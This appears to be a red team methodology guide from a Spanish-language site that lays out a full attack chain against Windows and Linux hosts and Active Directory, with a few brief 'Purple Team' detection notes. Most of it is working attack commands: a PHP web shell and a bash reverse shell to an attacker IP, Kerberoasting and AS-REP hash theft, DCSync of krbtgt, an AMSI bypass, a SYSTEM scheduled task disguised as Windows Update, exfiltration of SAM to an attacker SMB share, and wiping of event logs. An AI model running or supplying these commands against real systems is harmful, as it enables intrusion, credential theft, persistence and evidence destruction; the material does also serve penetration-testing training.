Ir al contenido

Tactical Guide to Offensive Operations

Red Team methodologies, from active discovery and initial exploitation to Active Directory enumeration and post-exploitation.

0views

This technical guide compiles the methodological procedures and advanced commands applied by Red Team operators during adversary simulations. Each section includes its defensive counterpart (Purple Team Vision) to audit and mitigate the described threats.


1. Reconnaissance and Discovery (Discovery - TA0046)

Sección titulada «1. Reconocimiento y Descubrimiento (Discovery - TA0046)»

The active scanning phase (T1595) allows for the controlled mapping of the target's exposed surface.

The objective is to trace and identify open logical ports at the highest possible speed:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -n -Pn -v 172.16.20.50 -oG /opt/pentest/allPorts.txt
  • --open: Filters the output, showing only ports with a listening socket.
  • -sS: TCP SYN scan (Stealth). Drastically accelerates the response rate by not completing the TCP three-way handshake.
  • --min-rate 5000: Imposes a minimum sending rate of 5000 packets per second.

With the identified ports (e.g., 80, 135, 445, 5985), we surgically launch version probes and the NSE script engine:

Ventana de terminal
nmap -Pn -sS -sV -O -T4 --version-intensity 7 --script=default,vuln,vulners,discovery -p 80,135,445,5985 172.16.20.50 -oA /opt/pentest/detailed_scan

[!NOTE] 🛡️ Purple Team Vision (Defense and Detection):

  • Network Detection: Modern firewalls and IDS (such as Suricata) will alert on any high-speed TCP SYN pattern. NSE scripts (such as vulners) use default User-Agent headers detectable via static signatures in the proxy.
  • Mitigation: Configure aggressive rate limiting and enable automated blocking rules at the corporate gateway.

Before interacting intrusively with the HTTP server, it is imperative to identify the presence of perimeter protections to avoid immediate automated blocks:

Ventana de terminal
wafw00f http://172.16.20.50

To avoid log saturation from 404 error code requests, we employ rigorous conditional filtering by size and words:

Ventana de terminal
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://172.16.20.50/FUZZ -e .php,.txt,.bak -c -t 100 -fc 404,403
  • -fc 404,403: Filters denied or not found responses from the console display.
  • -e .php,.txt,.bak: Sequentially concatenates these extensions to each word in the dictionary.

Identification of anonymous access (Null Sessions) and remote control interfaces:

Ventana de terminal
# Validar recursos compartidos SMB expuestos sin credenciales
nxc smb 172.16.20.50 -u '' -p '' --shares
# Extracción profunda de políticas de contraseñas locales y usuarios
enum4linux-ng -A 172.16.20.50
# Conexión interactiva a través del canal de red RPC
rpcclient -U "" -N 172.16.20.50

2. Initial Access and Execution (TA0001 / TA0002)

Sección titulada «2. Acceso Inicial y Ejecución (TA0001 / TA0002)»

A. Targeted Exploitation of POST Parameters (SQLmap)

Sección titulada «A. Explotación Dirigida de Parámetros POST (SQLmap)»

If SQL injection is suspected, it is vital to avoid network signature noise. We intercept the request with BurpSuite, save it to /opt/pentest/post.txt, and force the use of random user agents:

Ventana de terminal
sqlmap -r /opt/pentest/post.txt -p username --random-agent --force-ssl --risk=3 --level=5 --tamper=space2comment,charencode
  • --random-agent: Modifies the default User-Agent to simulate real web browsers.
  • --tamper: Loads payload obfuscation modules (such as space2comment, which replaces spaces with comments /**/ to evade basic WAFs).

To spawn an interactive shell on servers where the database engine runs with high privileges (sa or DBA):

Ventana de terminal
sqlmap -r /opt/pentest/post.txt -p username --os-shell

B. Deployment of Web Shells and Obfuscated Reverse Shells

Sección titulada «B. Despliegue de Web Shells y Reverse Shells Ofuscadas»

Once insecure file upload is detected, we inject shells using HTTP POST methods to prevent payloads from being logged in plain text in the server log (access.log):

<?php $c=$_REQUEST['x']; passthru($c); ?>

To force the victim host to return an interactive reverse connection in a single line:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/172.16.50.200/4444 0>&1'"); ?>

Obtaining a dumb interactive terminal via netcat lacks support for console shortcuts (Ctrl+C, autocompletion). We apply hot stabilization using PTY pseudo-terminals:

Ventana de terminal
# 1. Dentro de la reverse shell de la víctima, invocar bash a través de Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 2. Pausar la shell temporalmente en segundo plano
# Presionar Ctrl + Z en tu teclado
# 3. Configurar la terminal local en crudo y recuperar el proceso
stty raw -echo; fg
# 4. Ajustar el entorno interactivo
export TERM=xterm
export SHELL=bash
stty rows 40 columns 120

3. Enumeration and Attacks against Active Directory (TA0006)

Sección titulada «3. Enumeración y Ataques a Active Directory (TA0006)»

Active Directory stores the identity infrastructure. The offensive objective lies in abusing delegations and the Kerberos protocol.

A. Comprehensive Domain Mapping with BloodHound

Sección titulada «A. Mapeo Integral del Dominio con BloodHound»

Bulk loading of policies, trust relationships, group membership, and ACL access from Linux using a user with minimum privileges:

Ventana de terminal
bloodhound-python -u 'usuario.demo' -p 'ClaveCompleja123!' -ns 172.16.20.10 -d portelcore.local -c All

B. Kerberos Attack: AS-REP Roasting (T1558.004)

Sección titulada «B. Ataque Kerberos: AS-REP Roasting (T1558.004)»

Targeted attack against domain accounts configured without the Kerberos pre-authentication requirement enabled. We can request their TGT tickets and crack them offline:

Ventana de terminal
# Solicitar y exportar los hashes TGT en formato compatible con Hashcat
GetNPUsers.py portelcore.local/ -usersfile /opt/pentest/users.txt -format hashcat -outputfile /opt/pentest/asrep_hashes.txt -dc-ip 172.16.20.10

To force an offline brute-force crack:

Ventana de terminal
hashcat -m 18200 -a 0 /opt/pentest/asrep_hashes.txt /usr/share/wordlists/rockyou.txt --force

C. Kerberos Attack: Kerberoasting (T1558.003)

Sección titulada «C. Ataque Kerberos: Kerberoasting (T1558.003)»

Any authenticated user in the domain can request a service ticket (TGS) for any account that has a registered Service Principal Name (SPN). The tickets travel encrypted with the service account's hash:

Ventana de terminal
# Extraer tickets TGS remotamente
GetUserSPNs.py portelcore.local/usuario.demo:ClaveCompleja123! -request -dc-ip 172.16.20.10 -outputfile /opt/pentest/kerberoast_hashes.txt

To crack the keys using GPU acceleration:

Ventana de terminal
hashcat -m 13100 -a 0 /opt/pentest/kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

If sufficient database replication privileges are obtained over the domain (Domain Admin or DCSync permissions), we simulate being a secondary Domain Controller to request the cluster's plain-text hashes (including the critical key krbtgt):

Ventana de terminal
secretsdump.py portelcore.local/Administrador:PasswordComplejo@172.16.20.10 -just-dc-user krbtgt

4. Privilege Escalation (Privilege Escalation - TA0004)

Sección titulada «4. Escalada de Privilegios (Privilege Escalation - TA0004)»

If the compromised system user belongs to the local container control group lxd or lxc, root privileges can be derived by mounting the host root drive into a container with security exclusions disabled:

Ventana de terminal
# 1. Crear un contenedor deshabilitando los aislamientos de seguridad del kernel
lxc init myimage pwn -c security.privileged=true
# 2. Añadir y montar el disco raíz del host dentro de la ruta mnt del contenedor
lxc config device add pwn mydevice disk source=/ path=/mnt/root recursive=true
# 3. Inicializar el contenedor y acceder a su terminal interactiva
lxc start pwn
lxc exec pwn /bin/sh
# 4. Cambiar el directorio raíz aparente a la unidad del host montada
cd /mnt/root
chroot .
# ¡Boom! Acceso como Root absoluto de la máquina víctima consolidado.

If the compromised account (such as IIS service accounts) has the impersonation privilege active, we use tools to abuse RPC/COM network calls and derive the SYSTEM token:

Ventana de terminal
PrintSpoofer64.exe -i -c cmd.exe

5. Defense Evasion and Persistence (TA0005 / TA0003)

Sección titulada «5. Evasión de Defensas y Persistencia (TA0005 / TA0003)»

AMSI evaluates PowerShell code in memory before processing. We can deactivate the validator by forcing a failed initialization state in the hot session:

Ventana de terminal
$a=[Ref].Assembly.GetTypes();foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');foreach($e in $d) {if ($e.Name -like "*FailedInit*") {$f=$e}};$f.SetValue($null,$true)

Injection of persistent binaries into system boot under maximum privileges:

Ventana de terminal
schtasks /create /sc onlogon /tn "Windows Update Host" /tr "C:\Windows\Temp\malware.exe" /ru SYSTEM

6. Lateral Movement and Pivoting (TA0008 / TA0011)

Sección titulada «6. Movimiento Lateral y Pivoting (TA0008 / TA0011)»

When the compromised machine acts as a bridge between the Internet (DMZ) and a private internal subnet.

graph LR
Kali["Kali Atacante (172.16.50.200)"] <-->|Chisel Puerto 8000| Victim["Víctima DMZ (172.16.20.50)"]
Victim <-->|Proxy SOCKS5| Target["Red Interna Privada"]
  1. On our attacking machine (Listening Server):
    Ventana de terminal
    chisel server -p 8000 --reverse
  2. On the compromised jump host (Client):
    Ventana de terminal
    ./chisel client 172.16.50.200:8000 R:socks
  3. Launch attacks on the internal network from Kali via Proxychains: Add the socks5 127.0.0.1 1080 directive to the end of the /etc/proxychains4.conf file and precede any command:
    Ventana de terminal
    proxychains nmap -sT -Pn -p445 172.16.20.10

If we have the NTLM hash obtained from the identity database, we do not need to brute-force the password to connect graphically:

Ventana de terminal
xfreerdp /u:Administrador /pth:7F0A6B29C... /v:172.16.20.10

7. Post-Exploitation, Exfiltration and OPSEC (TA0010)

Sección titulada «7. Post-Explotación, Exfiltración y OPSEC (TA0010)»

A. Temporary Sharing of Offensive Resources (SMB Server)

Sección titulada «A. Compartición Temporal de Recursos Ofensivos (SMB Server)»

To prevent web download requests for offensive utilities from triggering proxy alerts, we set up a legitimate SMB server on our attacker machine:

Ventana de terminal
# Inicializar el servidor SMB falso en la carpeta de trabajo
impacket-smbserver share $(pwd) -smb2support
Ventana de terminal
# Descargar o exfiltrar archivos de forma nativa desde la consola de Windows
copy C:\SAM_backup.save \\172.16.50.200\share\SAM_backup.save

Saturate or clear the operating system event logs to hinder subsequent forensic analysis (Highly noisy step in production!):

Ventana de terminal
# Borrado absoluto de logs en Windows mediante wevtutil
wevtutil cl System
wevtutil cl Application
wevtutil cl Security

[!WARNING] 🛡️ Purple Team Vision (Critical Detection): The action of clearing web logs or Windows logs is the most visible indicator of compromise within the defensive suite. It will immediately trigger the injection of Event ID 1102 (The audit log was cleared) into the corporate SIEM. This alert must be configured in the SOC with the highest response priority.